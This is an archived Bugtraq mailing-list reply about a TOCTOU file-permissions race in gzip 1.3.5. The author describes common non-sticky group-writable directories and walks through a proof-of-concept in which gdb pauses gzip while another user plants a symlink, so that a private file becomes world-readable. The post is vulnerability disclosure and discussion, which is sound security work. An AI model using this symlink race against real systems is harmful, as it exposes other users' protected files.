 
Bugtraq mailing list archives
Re: gzip TOCTOU file-permissions vulnerability
From: Joey Hess <joeyh () debian org>
Date: Wed, 13 Apr 2005 11:40:49 -0400
Martin Pitt wrote:
Of course the file can be removed by other users after gunzip has finished, but that is not a gzip bug, but the result of the really dumb idea to have a group/world-writeable directory without the sticky bit.
It may be really dumb, but it's pretty common practice too. Group-writable directories are often made setgid but I've never seen one made sticky. There's probably a lot of documentation that presents this as best practice if you trust your group members with access to files in the directory, and likely none of it mentions this kind of security issue. Just a few examples within the Debian project (since this is CCed to the Debian bts): joeyh@haydn:/var/lib/gforge/chroot/home/groups/d-i/htdocs>ls -ld . drwxrwsr-x 4 dummy d-i 4096 Jan 18 12:51 ./ joeyh@gluck:/org/cdimage.debian.org/www>ls -ld . drwxrwsr-x 4 manty debian-c 4096 Apr 7 09:11 ./ joeyh@merkel:/org/bugs.debian.org/spool>ls -ld . drwxrwsr-x 4 debbugs debbugs 4096 Apr 13 09:19 ./ (gzip is not typically ran in any of these directories AFAIK, FWIW).
Maybe I understood you wrong, could you please give a small test case which describes the vulnerability exactly?
I'm a wimp, so I will use gdb instead of writing some real exploit to
win the race.
joey@dragon:~/tmp/gzip-1.3.5>chmod 777 .  
joey@dragon:~/tmp/gzip-1.3.5>echo secret > ~/secret
joey@dragon:~/tmp/gzip-1.3.5>chmod 400 ~/secret
joey@dragon:~/tmp/gzip-1.3.5>ls -l ~/secret 
-r--------  1 joey joey 7 Apr 13 11:32 /home/joey/secret
joey@dragon:~/tmp/gzip-1.3.5>gdb ./gzip
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b copy_stat
Breakpoint 1 at 0x804ca19: file gzip.c, line 1725.
(gdb) run -9 COPYING
Starting program: /home/joey/tmp/gzip-1.3.5/gzip -9 COPYING
Breakpoint 1, copy_stat (ifstat=0x0) at gzip.c:1725
1725        if (decompress && time_stamp != 0 && ifstat->st_mtime != time_stamp) {
(gdb) 
zsh: suspended  gdb ./gzip
joey@dragon:~/tmp/gzip-1.3.5>ls -l COPYING.gz
-rw-------  1 joey joey 6853 Apr 13 11:28 COPYING.gz
joey@dragon:~/tmp/gzip-1.3.5>sudo su nobody
Password:
sh-3.00$ ln -s ~joey/secret COPYING.gz
sh-3.00$ cat COPYING.gz
cat: COPYING.gz: Permission denied
dragon% 
zsh: exit 1     sudo su nobody
joey@dragon:~/tmp/gzip-1.3.5>fg
[2]  - continued  gdb ./gzip
c
Continuing.
Program exited normally.
(gdb) quit
joey@dragon:~/tmp/gzip-1.3.5>ls -l ~/secret
-r--r--r--  1 joey joey 7 Jan 12  1999 /home/joey/secret
-- 
see shy jo
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Current thread:
- gzip TOCTOU file-permissions vulnerability Imran Ghory (Apr 05)
- Re: gzip TOCTOU file-permissions vulnerability Martin Pitt (Apr 13)
- Re: gzip TOCTOU file-permissions vulnerability Derek Martin (Apr 13)
- Re: gzip TOCTOU file-permissions vulnerability Peter J. Holzer (Apr 13)
- Re: gzip TOCTOU file-permissions vulnerability Joey Hess (Apr 13)
- Re: gzip TOCTOU file-permissions vulnerability psz (Apr 14)
- Re: gzip TOCTOU file-permissions vulnerability Theodor Milkov (Apr 15)
 
- Re: gzip TOCTOU file-permissions vulnerability Derek Martin (Apr 14)
 
 - <Possible follow-ups>
- RE: gzip TOCTOU file-permissions vulnerability Mark Senior (Apr 14)
- Re: gzip TOCTOU file-permissions vulnerability Derek Martin (Apr 14)
- Re: gzip TOCTOU file-permissions vulnerability devnull (Apr 15)
- Re: gzip TOCTOU file-permissions vulnerability Dmitry Yu. Bolkhovityanov (Apr 16)
 
- Re: gzip TOCTOU file-permissions vulnerability Peter J. Holzer (Apr 15)
- Re: gzip TOCTOU file-permissions vulnerability Scott Gifford (Apr 15)
 
- Re: gzip TOCTOU file-permissions vulnerability Steve Grubb (Apr 14)
 
- Re: gzip TOCTOU file-permissions vulnerability Martin Pitt (Apr 13)


